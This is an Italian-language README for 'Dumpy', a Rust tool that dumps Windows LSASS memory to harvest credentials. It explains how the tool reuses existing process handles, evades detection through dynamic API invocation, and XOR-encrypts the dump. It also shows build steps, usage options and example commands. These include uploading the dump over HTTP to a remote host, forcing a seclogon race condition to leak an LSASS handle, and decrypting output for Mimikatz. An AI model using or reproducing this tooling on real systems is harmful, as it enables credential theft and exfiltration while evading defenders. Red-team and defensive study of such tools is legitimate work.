
Riutilizza gli handle aperti per eseguire il dump dinamico di LSASS.
Questo strumento chiama dinamicamente MiniDumpWriteDump per eseguire il dump del contenuto della memoria di lsass. Questo processo viene eseguito senza aprire un nuovo handle di processo su lsass e utilizzando DInvoke_rs per rendere più difficile rilevare il suo comportamento dannoso. Per ottenere un handle di processo valido senza chiamare OpenProcess su lsass, vengono analizzati tutti gli handle di processo del sistema usando NtQuerySystemInformation, NtDuplicateObject, NtQueryObject e QueryFullProcessImageNameW.
Le transazioni NTFS vengono utilizzate per applicare lo XOR al dump della memoria prima di salvarlo su disco o inviarlo tramite HTTP.
Supporto aggiunto sia per x86 che per x64.
È sufficiente compilare il codice in modalità release ed eseguirlo:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
Nel caso si voglia compilare lo strumento per un sistema x86, modificare il valore dell'opzione "target" nel file .cargo\config (ad esempio: target = "i686-pc-windows-msvc").
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy ha due azioni principali:
dump: esegue la logica principale per effettuare il dump di lsass. Di default, salva il risultato in un file di testo xored con un nome casuale nella directory corrente. L'opzione upload consente di inviare il contenuto della memoria tramite HTTP a un host remoto, evitando la creazione del file xored su disco. Ho usato questo semplice server HTTP per gestire l'upload, ma qualsiasi altro server HTTP che supporti richieste multipart/form-data funzionerà.
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
Se si desidera forzare la perdita di un handle su lsass tramite la race condition nel servizio seclogon descritta da Antonio Cocomazzi in questo post, basta usare l'opzione force:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: questa azione consente di ottenere il dump di memoria decifrato nello stesso formato che strumenti come Mimikatz si aspettano. Come argomenti prevede il dump di memoria xored, la chiave di cifratura e il percorso del file di output. Nel caso in cui il file xored sia stato caricato tramite HTTP, è necessario eseguire una decodifica base64 del contenuto prima di questo processo di decifratura.
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey